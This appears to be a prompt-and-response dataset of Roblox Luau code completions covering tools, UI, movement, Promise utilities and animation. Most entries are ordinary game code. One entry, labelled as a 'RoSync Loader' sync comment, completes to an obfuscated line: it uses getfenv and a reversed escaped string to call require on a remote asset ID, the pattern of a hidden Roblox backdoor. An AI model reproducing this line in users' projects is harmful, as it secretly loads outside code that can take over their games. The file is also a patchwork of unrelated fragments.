			assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
			assert(Type.of(newElement) == Type.Element, "Expected arg #2 to be a Roact Element")
		end

		internalData.rootNode = updateVirtualNode(internalData.rootNode, newElement)

		return tree
	end

	reconciler = {
		mountVirtualTree = mountVirtualTree,
		unmountVirtualTree = unmountVirtualTree,
		updateVirtualTree = updateVirtualTree,

		createVirtualNode = createVirtualNode,
		mountVirtualNode = mountVirtualNode,
		unmountVirtualNode = unmountVirtualNode,
		updateVirtualNode = updateVirtualNode,
		updateVirtualNodeWithChildren = updateVirtualNodeWithChildren,
		updateVirtualNodeWithRenderResult = updateVirtualNodeWithRenderResult,
	}

	return reconciler
end

return createReconciler


Prompt: --Left lean Divider

Response:
ZR15RightLegLeftLeanD = 1
XR15RightLegLeftLeanD = 1
YR15RightLegLeftLeanD = 1
R15RightKneeLeftLeanD = 1

ZR15RightArmLeftLeanD = 1
XR15RightArmLeftLeanD = 1
YR15RightArmLeftLeanD = 1
R15RightElbowLeftLeanD = 1

ZR15LeftLegLeftLeanD = 1
XR15LeftLegLeftLeanD = 1
YR15LeftLegLeftLeanD = 1
R15LeftKneeLeftLeanD = 1

ZR15LeftArmLeftLeanD = 1
XR15LeftArmLeftLeanD = 1
YR15LeftArmLeftLeanD = 1
R15LeftElbowLeftLeanD = 1

ZR15LowerTorsoLeftLeanD = 1
XR15LowerTorsoLeftLeanD = 1
YR15LowerTorsoLeftLeanD = 1
ZR15UpperTorsoLeftLeanD = 1


Prompt:
--------------------- TEMPLATE BLADE WEAPON ---------------------------
-- Waits for the child of the specified parent

Response:
local function WaitForChild(parent, childName)
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end

local SLASH_DAMAGE = 50
local DOWNSTAB_DAMAGE = 40
local THROWING_DAMAGE = 51
local HOLD_TO_THROW_TIME = 0.38

local Damage = 50

local MyHumanoid = nil
local MyTorso = nil
local MyCharacter = nil
local MyPlayer = nil

local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')

local BlowConnection
local Button1DownConnection
local Button1UpConnection

local PlayStabPunch
local PlayDownStab
local PlayThrow
local PlayThrowCharge

local IconUrl = Tool.TextureId  -- URL to the weapon knife icon asset

local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')

local SlashSound

local HitPlayers = {}

local LeftButtonDownTime = nil

local Attacking = false

function Blow(hit)
	if Attacking then
		BlowDamage(hit, Damage)
	end
end

function BlowDamage(hit, damage)
	local humanoid = hit.Parent:FindFirstChild('Humanoid')
	local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
	if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
		if not MyPlayer.Neutral then
			-- Ignore teammates hit
			if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
				return
			end
		end
		-- final check, make sure weapon is in-hand
		local rightArm = MyCharacter:FindFirstChild('Right Arm')
		if (rightArm ~= nil) then
			-- Check if the weld exists between the hand and the weapon
			local joint = rightArm:FindFirstChild('RightGrip')
			if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
				-- Make sure you only hit them once per swing
				if player and not HitPlayers[player] then
					TagHumanoid(humanoid, MyPlayer)
					print("Sending " .. damage)
					humanoid:TakeDamage(damage)
					Handle.Splat.Volume = 1
					HitPlayers[player] = true
				end
			end
		end
	end
end

function TagHumanoid(humanoid, player)
	-- Add more tags here to customize what tags are available.
	while humanoid:FindFirstChild('creator') do
		humanoid:FindFirstChild('creator'):Destroy()
	end

	local creatorTag = Instance.new('ObjectValue')
	creatorTag.Value = player
	creatorTag.Name = 'creator'
	creatorTag.Parent = humanoid
	DebrisService:AddItem(creatorTag, 1.5)

	local weaponIconTag = Instance.new('StringValue')
	weaponIconTag.Value = IconUrl
	weaponIconTag.Name = 'icon'
	weaponIconTag.Parent = creatorTag
	DebrisService:AddItem(weaponIconTag, 1.5)
end

function HardAttack()
	Damage = SLASH_DAMAGE
	SlashSound:play()
	if PlayStabPunch then
		PlayStabPunch.Value = true
		wait(1.0)
		PlayStabPunch.Value = false
	end
end

function NormalAttack()
	Damage = DOWNSTAB_DAMAGE
	KnifeDown()
	SlashSound:play()
	if PlayDownStab then
		PlayDownStab.Value = true
		wait(1.0)
		PlayDownStab.Value = false
	end
	KnifeUp()
end

function ThrowAttack()
	KnifeOut()
	if PlayThrow then
		PlayThrow.Value = true
		wait(0.3)
		if not Handle then return end
		local throwingHandle = Handle:Clone()
		DebrisService:AddItem(throwingHandle, 5)
		throwingHandle.Parent = Workspace
		if MyCharacter and MyHumanoid then
			throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100
			-- set the orientation to the direction it is being thrown in
			throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
			local floatingForce = Instance.new('BodyForce', throwingHandle)
			floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
			local spin = Instance.new('BodyAngularVelocity', throwingHandle)
			spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
		end
		Handle.Transparency = 1
		-- Wait so that the knife has left the thrower's general area
		wait(0.08)
		if throwingHandle then
			local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
		end
		-- must check if it still exists since we waited
		if throwingHandle then
			throwingHandle.CanCollide = true
		end
		wait(0.6)
		if Handle and PlayThrow then
			Handle.Transparency = 0
			PlayThrow.Value = false
		end
	end
	KnifeUp()
end

function KnifeUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function KnifeDown()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,-1)
end

function KnifeOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

Tool.Enabled = true

function OnLeftButtonDown()
	LeftButtonDownTime = time()
	if PlayThrowCharge then
		PlayThrowCharge.Value = true
	end
end

function OnLeftButtonUp()
	if not Tool.Enabled then return end
	-- Reset the list of hit players every time we start a new attack
	HitPlayers = {}
	if PlayThrowCharge then
		PlayThrowCharge.Value = false
	end
	if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
		Tool.Enabled = false
		local currTime = time()
		if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
			currTime - LeftButtonDownTime < 1.15 then
			ThrowAttack()
		else
			Attacking = true
			if math.random(1, 2) == 1 then
				HardAttack()
			else
				NormalAttack()
			end
			Attacking = false
		end
		Tool.Enabled = true
	end
end

function OnEquipped(mouse)
	PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
	PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
	PlayThrow = WaitForChild(Tool, 'PlayThrow')
	PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
 	SlashSound = WaitForChild(Handle, 'Swoosh1')
	Handle.Splat.Volume = 0
	SlashSound:play()
	BlowConnection = Handle.Touched:connect(Blow)
	MyCharacter = Tool.Parent
	MyTorso = MyCharacter:FindFirstChild('Torso')
	MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
	MyPlayer = PlayersService.LocalPlayer
	if mouse then
		Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
		Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
	end
	KnifeUp()
end

function OnUnequipped()
	-- Unequip logic here
	if BlowConnection then
		BlowConnection:disconnect()
		BlowConnection = nil
	end
	if Button1DownConnection then
		Button1DownConnection:disconnect()
		Button1DownConnection = nil
	end
	if Button1UpConnection then
		Button1UpConnection:disconnect()
		Button1UpConnection = nil
	end
	MyHumanoid = nil
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)


Prompt: -- We set our speeds on the server, don't let the client choose

Response:
local speeds = {
	run = 24,
	walk = 16
}

character.speed = function(player, payload)
	local humanoid = Util.getHumanoid(player)

	if not humanoid or not payload or not speeds[payload.speed] then
		return
	end

	humanoid.WalkSpeed = speeds[payload.speed]
end

return character


Prompt:
--[[
	Remove the given key from the list.
]]

Response:
function Immutable.RemoveFromList(list, removeIndex)
	local new = {}

	for i = 1, #list do
		if i ~= removeIndex then
			table.insert(new, list[i])
		end
	end

	return new
end


Prompt: -- Event Binding

Response:
Tool.Changed:connect(OnChanged)
Tool.RocketHit.OnServerEvent:connect(OnRocketHit)
Tool.FireRocket.OnServerEvent:connect(OnFireRocket)
Tool.HitPlayers.OnServerEvent:connect(OnHitPlayers)
Tool.DirectHitPlayer.OnServerEvent:connect(OnDirectHitPlayer)

IntializeBuffer()


Prompt:
--[=[
	Fulfills the promise with the value
	@param values { T } -- Params to fulfil with
	@param valuesLength number
	@private
]=]

Response:
function Promise:_fulfill(values, valuesLength)
	if not self._pendingExecuteList then
		return
	end

	self._fulfilled = values
	self._valuesLength = valuesLength

	local list = self._pendingExecuteList
	self._pendingExecuteList = nil
	for _, data in pairs(list) do
		self:_executeThen(unpack(data))
	end
end


Prompt: -- see link for what the dictionary looks like: https://developer.roblox.com/en-us/api-reference/function/Players/GetCharacterAppearanceInfoAsync

Response:
local wearingAssets

local originalCamCFrame = camera.CFrame

local function characterAdded()
	character = player.Character
	rootPart = character.PrimaryPart or character:WaitForChild("HumanoidRootPart")
	humanoid = character:FindFirstChildWhichIsA("Humanoid")
	originalCamCFrame = camera.CFrame
end

local function hideAllSubCategoryFrames()
	for i, frame in ipairs(subCategoryFrames) do
		frame.Visible = false
	end
end

local function setSelectedCategory(guiButton)
	for button, class in next, activeCategoryButtons do
		class:SetSelected(false)
	end
	if activeCategoryButtons[guiButton] then
		activeCategoryButtons[guiButton]:SetSelected(true)
	end
end

local function setSelectedSubCategory(guiButton)
	for button, class in next, activeSubCategoryButtons do
		class:SetSelected(false)
	end
	if activeSubCategoryButtons[guiButton] then
		activeSubCategoryButtons[guiButton]:SetSelected(true)
	end
end

local function updateScrollingFrameCanvasSize()
	scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, scrollingFrameUIGridLayout.AbsoluteContentSize.Y)
end

local function updateScaleFrameCanvasSize()
	scaleFrame.CanvasSize = UDim2.new(0, 0, 0, scaleFrameUIGridLayout.AbsoluteContentSize.Y)
end

local function clearSearch()
	searchTextBox.Text = ""
end

local function resetScrollingFrame()
	activeButtons:DoCleaning()
	clearSearch()
	scrollingFrame.CanvasPosition = Vector2.new(0, 0)
end


Prompt: -- Basic settings

Response:
local MAXIMUM_DIFFERENT_ITEMS = 6

local plr = game.Players.LocalPlayer
local guiService = game:GetService("GuiService")

function getItemTable()

	-- Formulate and return a table of items
	local items = {}
	for _, i in pairs(script.Parent:GetChildren()) do
		if i.Name == "Item" then
			for _=1, i.Count.Value do
				table.insert(items, i.Item.Value.Name)
			end
		end
	end
	return items

end

function refreshOutlines()

	-- Create table of item names
	local items = {}
	for _, i in pairs(script.Parent:GetChildren()) do
		if i.Name == "Item" then
			table.insert(items, i.Item.Value.Name)
		end
	end

	-- Check size
	if #items > 0 then

		-- Create table of connected items
		local connectedItems = {}
		for _, i in pairs(game.ReplicatedStorage.Recipes:GetChildren()) do
			local okay = true
			for _, o in pairs(items) do
				if i.Ingredients:FindFirstChild(o) == nil then
					okay = false
					break
				end
			end
			if okay then
				for _, o in pairs(i.Ingredients:GetChildren()) do
					table.insert(connectedItems, o.Name)
				end
			end
		end

		-- Go through displayed items adding/removing outlines
		for _, i in pairs(script.Parent.Parent.Parent.Display.Container:GetChildren()) do
			if i.Name == "Item" then
				local okay = false
				for n, o in pairs(connectedItems) do
					if o == i.Item.Value.Name then
						okay = true
						table.remove(connectedItems, n)
						break
					end
				end
				i.BlueEdge.Visible = okay
			end
		end

	else

		-- Remove all outlines
		for _, i in pairs(script.Parent.Parent.Parent.Display.Container:GetChildren()) do
			if i.Name == "Item" then
				i.BlueEdge.Visible = false
			end
		end

	end

end

script.Parent.AddItem.OnInvoke = function(item)

	-- Check if there already is an entry for the item
	local existing = nil
	for _, i in pairs(script.Parent:GetChildren()) do
		if i.Name == "Item" then
			if i.Item.Value == item then
				existing = i
				break
			end
		end
	end
	if existing == nil then

		-- Check if the item count maximum has been reached
		local entryCount = #script.Parent:GetChildren() - 5
		if entryCount >= MAXIMUM_DIFFERENT_ITEMS then
			return false
		end

		-- Create an item GUI element and add to container
		local itemGui = script.Parent.ItemTemplate:clone()
		itemGui.Name = "Item"
		itemGui.Item.Value = item
		itemGui.ItemIcon.Image = item.IconAsset.Value
		itemGui.ItemNameLabel.Text = item.Name
		itemGui.ItemNameLabel.TextColor3 = plr.PlayerScripts.Functions.GetRarityColor:Invoke(item.Rarity.Value)
		if item.Rarity.Value == "Immortal" or item.Rarity.Value == "Developer" then
			itemGui.ItemName.TextStrokeColor3 = Color3.fromRGB(255, 255, 255)
		end
		itemGui.Position = UDim2.new(0, (entryCount % 3) * 116 + 10, 0, math.floor(entryCount / 3) * 40 + 10)
		itemGui.Parent = script.Parent
		itemGui.Visible = true
		itemGui.InteractionHandler.Disabled = false

		-- Tell preview to refresh
		plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable())
		refreshOutlines()

		-- Return success
		return true

	else

		-- Increment count value
		existing.Count.Value = existing.Count.Value + 1
		existing.ItemCount.Text = "x " .. existing.Count.Value

		-- Tell preview to refresh
		plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable())

		-- Return success
		return true

	end

end

script.Parent.RemoveItem.Event:connect(function(itemGui)

	-- Get item
	local item = itemGui.Item.Value

	-- Decrement count
	itemGui.Count.Value = itemGui.Count.Value - 1

	-- Check if none left
	if itemGui.Count.Value <= 0 then

		-- Calculate gui rank to be used below
		local thisRank = (((itemGui.Position.Y.Offset - 10) / 40) * 3) + ((itemGui.Position.X.Offset - 10) / 116)

		-- Destroy the gui
		itemGui:destroy()

		-- Move each item over/up
		local closestItem = nil
		local closestItemRank = nil
		local lastItem = nil
		local lastItemRank = nil
		for _, i in pairs(script.Parent:GetChildren()) do
			if i.Name == "Item" then
				local rank = (((i.Position.Y.Offset - 10) / 40) * 3) + ((i.Position.X.Offset - 10) / 116)
				if rank > thisRank then
					i.Position = i.Position + UDim2.new(0, -116, 0, 0)
					if i.Position.X.Offset < 0 then
						i.Position = i.Position + UDim2.new(0, 348, 0, -40)
					end
					if closestItem == nil or rank < closestItemRank then
						closestItem = i
						closestItemRank = rank
					end
				end
				if lastItem == nil or rank > lastItemRank then
					lastItem = i
					lastItemRank = rank
				end
			end
		end
		if closestItem ~= nil then
			guiService.SelectedObject = closestItem.ClickArea
		elseif lastItem ~= nil then
			guiService.SelectedObject = lastItem.ClickArea
		else
			guiService.SelectedObject = plr.PlayerGui.MainGui.Crafting.OpenRecipeBook
		end

	elseif itemGui.Count.Value > 1 then

		-- Change text
		itemGui.ItemCount.Text = "x " .. itemGui.Count.Value

	else

		-- Change text
		itemGui.ItemCount.Text = ""

	end

	-- Add back to main display
	plr.PlayerGui.MainGui.Crafting.Display.Container.AddItem:Fire(item)

	-- Tell preview to refresh
	plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable())
	refreshOutlines()

end)

script.Parent.ClearItems.Event:connect(function()

	-- Destroy all items
	for _, i in pairs(script.Parent:GetChildren()) do
		if i.Name == "Item" then
			i:destroy()
		end
	end

	-- Tell preview to refresh
	plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire({})

end)


Prompt: -- For those who prefer distinct functions

Response:
function ControlModule:Disable()
	if self.activeController then
		self.activeController:Enable(false)

		if self.moveFunction then
			self.moveFunction(Players.LocalPlayer, Vector3.new(0,0,0), true)
		end
	end
end


Prompt:
-- deltarager cried here
-- 27/05/2021

Response:
repeat wait() until game:IsLoaded() and game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name) ~= nil and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil

local ReplicatedStorage	= game:GetService("ReplicatedStorage")
local UserInputService	= game:GetService("UserInputService")
local constants			= require(ReplicatedStorage["ClientModules"].Constants)

local player	= game.Players.LocalPlayer
local character	= player.Character or player.CharacterAdded:Wait()
local humanoid	= character:WaitForChild("Humanoid")
local animator	= humanoid:WaitForChild("Animator")
local oldEvent1,oldEvent2	= nil,nil
local toolEvent,toolEventDe	= nil,nil

IdleAnimation 	= animator:LoadAnimation(ReplicatedStorage.Animations.Idle)
SprintAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Sprint)
CrouchAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Crouch)

local crouching	= false
local sprinting	= false
local equipped	= false
local shooting	= false

local function Crouch()
	if sprinting then
		humanoid.WalkSpeed = 16;
		SprintAnimation:Stop()
		sprinting = false
	end
	if crouching then
		humanoid.WalkSpeed = 16
		CrouchAnimation:Stop()
	else
		if equipped then
			IdleAnimation:Play()
		end
		CrouchAnimation:Play()
		humanoid.WalkSpeed = 10
	end
	crouching	= not crouching
end

local function Sprint()
	if crouching then
		humanoid.WalkSpeed = 16
		CrouchAnimation:Stop()
		if equipped then
			IdleAnimation:Stop()
		end
		crouching = false
	end
	if sprinting then
		humanoid.WalkSpeed = 16;
		if equipped then
			SprintAnimation:Stop()
			IdleAnimation:Play()
		end
	else
		if equipped then
			IdleAnimation:Stop()
			SprintAnimation:Play()
		end
		humanoid.WalkSpeed = 24;
	end
	sprinting		= not sprinting
end

UserInputService.InputBegan:Connect(function(input,gpe)
	if gpe then return end
	if input.KeyCode == constants.sprintKey and not shooting then
		Sprint()
	elseif input.KeyCode == constants.crouchKey then
		Crouch()
	elseif input.KeyCode == Enum.KeyCode.Space then
		if crouching then
			Crouch()
		end
	end
end)

character.ChildAdded:Connect(function(child)
	if child:IsA("Tool") then
		equipped	= true
		IdleAnimation:Play()
		if sprinting then
			IdleAnimation:Stop()
			SprintAnimation:Play()
		end
		toolEvent		= child.Activated:Connect(function()
			if child.GunType.Value ~= "heal" then
				shooting 	= true
				if sprinting then
					humanoid.WalkSpeed = 16;
					sprinting = false
					SprintAnimation:Stop()
					IdleAnimation:Play()
				end
			end
		end)
		toolEventDe	 	= child.Deactivated:Connect(function()
			shooting 	= false
		end)
	end
end)
character.ChildRemoved:Connect(function(child)
	if child:IsA("Tool") then
		equipped	= false
		IdleAnimation:Stop()
		SprintAnimation:Stop()

		if toolEvent ~= nil then
			toolEvent:Disconnect()
			toolEventDe:Disconnect()
		end
	end
end)


Prompt: --wait()

Response:
game.ReplicatedStorage.ShowShop:FireClient(game.Players[hit.Parent.Name])
end)


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 25 -- cooldown for use of the tool again

ZoneModelName = "Fresh Disco" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: -- Necessery Functions

Response:
local ErrorPart = nil
local function GetValidPartToLookAt(Char, bodypart)
	local pHum = Char:FindFirstChild("Humanoid")
	if not Char and pHum then return nil end
	local pIsR6 = (pHum.RigType.Value==0)
	if table.find({"Torso", "UpperTorso"}, bodypart) then
		if pIsR6 then bodypart = "Torso" else bodypart = "UpperTorso" end
	end
	local ValidPart = Char:FindFirstChild(bodypart) or Char:FindFirstChild("HumanoidRootPart")
	if ValidPart then return ValidPart else
		if ErrorPart ~= bodypart then
			--warn(Body.Name.." can't find part to look: "..tostring(bodypart))
			ErrorPart = bodypart
		end
		return nil end
end

local function getClosestPlayer() -- Get the closest player in the range.
	local closest_player, closest_distance = nil, LookAtPlayerRange
	for i = 1, #SearchLoc do
		for _, player in pairs(SearchLoc[i]:GetChildren()) do
			if player:FindFirstChild("Humanoid") and player ~= Body
				and (Players:GetPlayerFromCharacter(player) or LookAtNonPlayer)
				and GetValidPartToLookAt(player, PartToLookAt) then

				local distance = (Core.Position - player.PrimaryPart.Position).Magnitude
				if distance < closest_distance then
					closest_player = player
					closest_distance = distance
				end
			end
		end
	end
	return closest_player
end

local function rWait(n)
	n = n or 0.05
	local startTime = os.clock()

	while os.clock() - startTime < n do
		game:GetService("RunService").Heartbeat:Wait()
	end
end

local function LookAt(NeckC0, WaistC0)
	if not IsR6 then
		if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end
		if Waist then Waist.C0 = Waist.C0:lerp(WaistC0, UpdateSpeed/2) end
	else
		if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end
	end
end


Prompt:
--[[
	Chains a Promise from this one that is resolved if this Promise is
	resolved, and rejected if it is not resolved.
]]

Response:
function Promise.prototype:now(rejectionValue)
	local traceback = debug.traceback(nil, 2)
	if self:getStatus() == Promise.Status.Resolved then
		return self:_andThen(traceback, function(...)
			return ...
		end)
	else
		return Promise.reject(rejectionValue == nil and Error.new({
			kind = Error.Kind.NotResolvedInTime,
			error = "This Promise was not resolved in time for :now()",
			context = ":now() was called at:\n\n" .. traceback,
		}) or rejectionValue)
	end
end


Prompt:
------------------------------------------------------------------------
-- reanchor if last token is has a constant string, see close_func()
-- * used only in close_func()
------------------------------------------------------------------------

Response:
function luaY:anchor_token(ls)
  if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then
    -- not relevant to Lua implementation of parser
    -- local ts = ls.t.seminfo
    -- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */
  end
end


Prompt:
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.

Response:
function DynamicThumbstick:GetIsJumping()
	local wasJumping = self.isJumping
	self.isJumping = false
	return wasJumping
end

function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean
	if enable == nil then return false end			-- If nil, return false (invalid argument)
	enable = enable and true or false				-- Force anything non-nil to boolean before comparison
	if self.enabled == enable then return true end	-- If no state change, return true indicating already in requested state

	if enable then
		-- Enable
		if not self.thumbstickFrame then
			self:Create(uiParentFrame)
		end

		self:BindContextActions()
	else
		ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
		-- Disable
		self:OnInputEnded() -- Cleanup
	end

	self.enabled = enable
	self.thumbstickFrame.Visible = enable
end


Prompt:
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]

Response:
Tune.FCamber		= 0
Tune.RCamber		= 0
Tune.FToe			= 0
Tune.RToe			= 0


Prompt:
-- Compiled with roblox-ts v2.0.4
-- eslint-disable-next-line @typescript-eslint/no-empty-interface

Response:
local unitMeta = {}
unitMeta.__eq = function()
	return true
end
unitMeta.__tostring = function()
	return "()"
end
unitMeta.__index = function()
	return error("Attempt to index Unit", 2)
end
local function unit()
	return setmetatable({}, unitMeta)
end
return {
	unit = unit,
}


Prompt: -- the Tool, reffered to here as "Block." Do not change it!

Response: Block = script.Parent.Parent.Fuse3Pick -- You CAN change the name in the quotes "Example Tool"


Prompt: --[[ Last synced 12/13/2020 04:16 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt:
--[[
	Packs a number of arguments into a table and returns its length.

	Used to cajole varargs without dropping sparse values.
]]

Response:
local function pack(...)
	return select("#", ...), { ... }
end


Response:
function onClicked()
R.Function1.Disabled = true
FX.CRUSH.BrickColor = BrickColor.new("Really red")
FX.CRUSH.loop.Disabled = true

FX.HPF.BrickColor = BrickColor.new("Really red")
FX.HPF.loop.Disabled = true

FX.LPF.BrickColor = BrickColor.new("Really red")
FX.LPF.loop.Disabled = true

FX.NOISE.BrickColor = BrickColor.new("Really red")
FX.NOISE.loop.Disabled = true

FX.ZIP.BrickColor = BrickColor.new("Really red")
FX.ZIP.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: -- скрипт расчёта текущих координат

Response: me = script.Parent


Prompt: -- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0.1, 0.4, -0.2) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --//Custom Functions\\--

Response:
function activate()
	if specialDB then
		specialDB = false
		activateSpecial:FireServer()
	else
	end
end


Prompt: --------------------[ RELOAD FUNCTIONS ]----------------------------------------------

Response:
function ReloadAnim()
	TweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
	TweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
	local Speed = S.ReloadTime / 2
	local Mag_Parts = {}

	for _, Obj in pairs(Gun:GetChildren()) do
		if Obj.Name == "Mag" and Obj:IsA("BasePart") then
			INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})
		end
	end

	local W1 = nil
	local W2 = nil

	local SequenceTable = {

		function()

			for Index, Mag in pairs(Mag_Parts) do
				Mag.Original.Transparency = 1
				Mag.Clone1.Parent = Gun_Ignore
				Mag.Clone1.CanCollide = true

				if Index ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = Mag_Parts[1].Clone1
					W.Part1 = Mag.Clone1
					W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)
					W.Parent = Mag_Parts[1].Clone1
				end
			end

			W1 = Instance.new("Weld")
			W1.Part0 = Mag_Parts[1].Clone1
			W1.Part1 = Handle
			W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)
			W1.Parent = Mag_Parts[1].Clone1

			TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)
			TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(20), RAD(3), 0), Linear, 0.35 * Speed)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)
			wait(0.3 * Speed)

		end;

		function()

			TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)
			wait(0.2 * Speed)

		end;

		function()

			W1:Destroy()
			Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-5,0)) * 20
			spawn(function()
				while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end
				for _, Mag in pairs(Mag_Parts) do
					Mag.Clone1.Anchored = true
					Mag.Clone1:BreakJoints()
				end
			end)

			for Index, Mag in pairs(Mag_Parts) do
				Mag.Clone2.Parent = Gun_Ignore

				if Index ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = Mag_Parts[1].Clone2
					W.Part1 = Mag.Clone2
					W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)
					W.Parent = Mag_Parts[1].Clone2
				end
			end

			W2 = Instance.new("Weld")
			W2.Part0 = FakeLArm
			W2.Part1 = Mag_Parts[1].Clone2
			W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)
			W2.Parent = FakeLArm
			wait(0.1)

		end;

		function()

			local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.9, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()
			local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()
			local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)
			local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)
			local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)

			TweenJoint(LWeld, ArmC0[1], CF(-0.3, 1.85, -0.11) * CFANG(RAD(-10), RAD(30), RAD(-60)), Sine, 0.6 * Speed)
			TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed)
			TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)
			TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)
			wait(0.7 * Speed)

		end;

		function()

			for _, Mag in pairs(Mag_Parts) do
				Mag.Original.Transparency = 0
				Mag.Clone2:Destroy()
			end

			TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)
			TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)
			wait(0.5 * Speed)

		end;

	}

	for _,ReloadFunction in pairs(SequenceTable) do
		if BreakReload then
			break
		end
